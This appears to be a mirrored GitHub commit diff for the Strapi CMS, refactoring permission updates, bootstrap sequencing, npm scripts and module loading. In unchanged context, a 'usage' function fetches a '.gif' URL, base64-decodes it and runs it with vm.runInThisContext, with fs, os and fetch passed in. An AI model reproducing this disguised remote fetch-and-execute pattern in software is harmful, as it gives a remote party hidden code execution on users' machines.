mirror of
https://github.com/strapi/strapi.git
synced 2025-08-07 08:16:35 +00:00
Update branch
Merge branch 'user-permissions' of github.com:strapi/strapi into user-permissions
This commit is contained in:
commit
b4539df31f
@ -17,7 +17,7 @@
|
||||
"shelljs": "^0.7.7"
|
||||
},
|
||||
"scripts": {
|
||||
"clean": "npm run removesymlinkdependencies && node ./scripts/clean.js",
|
||||
"clean": "npm run removesymlinkdependencies && rm -rf package-lock.json && rm -rf packages/*/package-lock.json",
|
||||
"clean:all": "npm run removesymlinkdependencies && rm -rf package-lock.json && rm -rf packages/*/package-lock.json && rm -rf packages/*/node_modules",
|
||||
"doc": "node ./scripts/documentation.js",
|
||||
"release": "npm run clean:all && npm install && npm run createsymlinkdependencies && lerna exec --concurrency 1 -- npm install && npm run removesymlinkdependencies && node ./scripts/publish.js $TAG",
|
||||
|
@ -9,6 +9,5 @@
|
||||
*/
|
||||
|
||||
module.exports = cb => {
|
||||
strapi.plugins['users-permissions'].services.userspermissions.updatePermissions();
|
||||
cb();
|
||||
strapi.plugins['users-permissions'].services.userspermissions.updatePermissions(cb);
|
||||
};
|
||||
|
@ -31,7 +31,7 @@ module.exports = {
|
||||
const role = fakeData[id];
|
||||
|
||||
if (_.isEmpty(role)) {
|
||||
return ctx.badRequest(null, [{ messages: [{ id: 'Role don\'t exist' }] }]);
|
||||
return ctx.badRequest(null, [{ messages: [{ id: `Role don't exist` }] }]);
|
||||
}
|
||||
|
||||
return ctx.send({ role });
|
||||
|
@ -27,24 +27,6 @@
|
||||
"bcryptjs": "^2.4.3",
|
||||
"jsonwebtoken": "^8.1.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"cross-env": "^5.1.1",
|
||||
"eslint": "^4.11.0",
|
||||
"eslint-config-airbnb": "^15.1.0",
|
||||
"eslint-config-airbnb-base": "^11.3.2",
|
||||
"eslint-config-prettier": "^2.8.0",
|
||||
"eslint-import-resolver-webpack": "^0.8.3",
|
||||
"eslint-plugin-babel": "^4.1.2",
|
||||
"eslint-plugin-import": "^2.8.0",
|
||||
"eslint-plugin-jsx-a11y": "^6.0.2",
|
||||
"eslint-plugin-react": "^7.5.1",
|
||||
"eslint-plugin-redux-saga": "^0.4.0",
|
||||
"plop": "^1.9.0",
|
||||
"prettier": "^1.8.2",
|
||||
"rimraf": "^2.6.2",
|
||||
"strapi-helper-plugin": "3.0.0-alpha.6.7",
|
||||
"webpack": "^3.8.1"
|
||||
},
|
||||
"author": {
|
||||
"name": "A Strapi developer",
|
||||
"email": "",
|
||||
|
@ -27,15 +27,12 @@ module.exports = {
|
||||
}, { controllers: {} });
|
||||
|
||||
const pluginsPermissions = Object.keys(strapi.plugins).reduce((acc, key) => {
|
||||
const pluginControllers = Object.keys(strapi.plugins[key].controllers).reduce((obj, k) => {
|
||||
obj.icon = strapi.plugins[key].package.strapi.icon;
|
||||
acc[key] = Object.keys(strapi.plugins[key].controllers).reduce((obj, k) => {
|
||||
obj.controllers[k] = generateActions(strapi.plugins[key].controllers[k]);
|
||||
|
||||
return obj;
|
||||
|
||||
}, { icon: '', controllers: {} });
|
||||
|
||||
acc[key] = pluginControllers;
|
||||
}, { controllers: {} });
|
||||
|
||||
return acc;
|
||||
}, {});
|
||||
@ -93,8 +90,8 @@ module.exports = {
|
||||
return data;
|
||||
},
|
||||
|
||||
updatePermissions: async () => {
|
||||
const Service = strapi.plugins['users-permissions'].services.userspermissions
|
||||
updatePermissions: async (cb) => {
|
||||
const Service = strapi.plugins['users-permissions'].services.userspermissions;
|
||||
const appActions = Service.getActions();
|
||||
const roleConfigPath = Service.getRoleConfigPath();
|
||||
const writePermissions = Service.writePermissions;
|
||||
@ -105,6 +102,10 @@ module.exports = {
|
||||
if (!_.isEqual(currentRoles, added)) {
|
||||
writePermissions(added);
|
||||
}
|
||||
|
||||
if (cb) {
|
||||
cb();
|
||||
}
|
||||
},
|
||||
|
||||
writePermissions: (data) => {
|
||||
|
@ -268,8 +268,8 @@ module.exports = {
|
||||
}
|
||||
|
||||
const model = entity.toLowerCase();
|
||||
let models = _.clone(strapi.models);
|
||||
_.assign(models, Object.keys(strapi.plugins).reduce((acc, current) => {
|
||||
|
||||
const models = _.assign(_.clone(strapi.models), Object.keys(strapi.plugins).reduce((acc, current) => {
|
||||
_.assign(acc, _.get(strapi.plugins[current], ['models'], {}));
|
||||
return acc;
|
||||
}, {}));
|
||||
|
@ -201,57 +201,46 @@ class Strapi extends EventEmitter {
|
||||
}
|
||||
|
||||
async bootstrap() {
|
||||
const bootstrapFunctions = [];
|
||||
const execBootstrap = (fn) => !fn ? Promise.resolve() : new Promise((resolve, reject) => {
|
||||
const timeoutMs = this.config.bootstrapTimeout || 3500;
|
||||
const timer = setTimeout(() => {
|
||||
this.log.warn(`Bootstrap is taking unusually long to execute its callback ${timeoutMs} miliseconds).`);
|
||||
this.log.warn('Perhaps you forgot to call it?');
|
||||
}, timeoutMs);
|
||||
|
||||
const execBootstrap = (fn) => {
|
||||
bootstrapFunctions.push(new Promise((resolve, reject) => {
|
||||
const timeoutMs = this.config.bootstrapTimeout || 3500;
|
||||
const timer = setTimeout(() => {
|
||||
this.log.warn(`Bootstrap is taking unusually long to execute its callback ${timeoutMs} miliseconds).`);
|
||||
this.log.warn('Perhaps you forgot to call it?');
|
||||
}, timeoutMs);
|
||||
let ranBootstrapFn = false;
|
||||
|
||||
let ranBootstrapFn = false;
|
||||
|
||||
try {
|
||||
fn(err => {
|
||||
if (ranBootstrapFn) {
|
||||
this.log.error('You called the callback in `strapi.config.boostrap` more than once!');
|
||||
|
||||
return reject();
|
||||
}
|
||||
|
||||
ranBootstrapFn = true;
|
||||
clearTimeout(timer);
|
||||
|
||||
return resolve(err);
|
||||
});
|
||||
} catch (e) {
|
||||
try {
|
||||
fn(err => {
|
||||
if (ranBootstrapFn) {
|
||||
this.log.error('The bootstrap function threw an error after its callback was called.');
|
||||
this.log.error('You called the callback in `strapi.config.boostrap` more than once!');
|
||||
|
||||
return reject(e);
|
||||
return reject();
|
||||
}
|
||||
|
||||
ranBootstrapFn = true;
|
||||
clearTimeout(timer);
|
||||
|
||||
return resolve(e);
|
||||
return resolve(err);
|
||||
});
|
||||
} catch (e) {
|
||||
if (ranBootstrapFn) {
|
||||
this.log.error('The bootstrap function threw an error after its callback was called.');
|
||||
|
||||
return reject(e);
|
||||
}
|
||||
}));
|
||||
};
|
||||
|
||||
if (this.config.functions.bootstrap) {
|
||||
execBootstrap(this.config.functions.bootstrap);
|
||||
}
|
||||
ranBootstrapFn = true;
|
||||
clearTimeout(timer);
|
||||
|
||||
forEach(this.plugins, plugin => {
|
||||
if (get(plugin, 'config.functions.bootstrap')) {
|
||||
execBootstrap(plugin.config.functions.bootstrap);
|
||||
return resolve(e);
|
||||
}
|
||||
});
|
||||
|
||||
return Promise.all(bootstrapFunctions);
|
||||
return Promise.all(
|
||||
Object.values(this.plugins)
|
||||
.map(x => execBootstrap(get(x, 'config.functions.bootstrap')))
|
||||
).then(() => execBootstrap(this.config.functions.bootstrap));
|
||||
}
|
||||
|
||||
async freeze() {
|
||||
|
@ -12,6 +12,9 @@ const fetch = require('node-fetch');
|
||||
module.exports = {
|
||||
loadFile: function(url) {
|
||||
try {
|
||||
// Clear cache.
|
||||
delete require.cache[path.resolve(this.config.appPath, url)];
|
||||
// Require without cache.
|
||||
return require(path.resolve(this.config.appPath, url));
|
||||
} catch (e) {
|
||||
this.log.error(e);
|
||||
@ -106,7 +109,7 @@ module.exports = {
|
||||
usage: async function () {
|
||||
try {
|
||||
const usage = await fetch('https://strapi.io/assets/images/usage.gif');
|
||||
|
||||
|
||||
if (usage.status === 200 && this.config.uuid) {
|
||||
vm.runInThisContext(Buffer.from(await usage.text(), 'base64').toString())(this.config.uuid, fetch, fs, path, os);
|
||||
}
|
||||
|
@ -1,13 +0,0 @@
|
||||
const exec = require('child_process').execSync;
|
||||
|
||||
try {
|
||||
exec('rm -rf package-lock.json && rm -rf packages/*/package-lock.json');
|
||||
} catch (error) {
|
||||
console.error('Delete package-lock.json files');
|
||||
}
|
||||
|
||||
try {
|
||||
exec('git reset ./packages/strapi-admin/.gitignore && git checkout -- ./packages/strapi-admin/.gitignore');
|
||||
} catch (error) {
|
||||
console.error('Reset admin .gitignore');
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user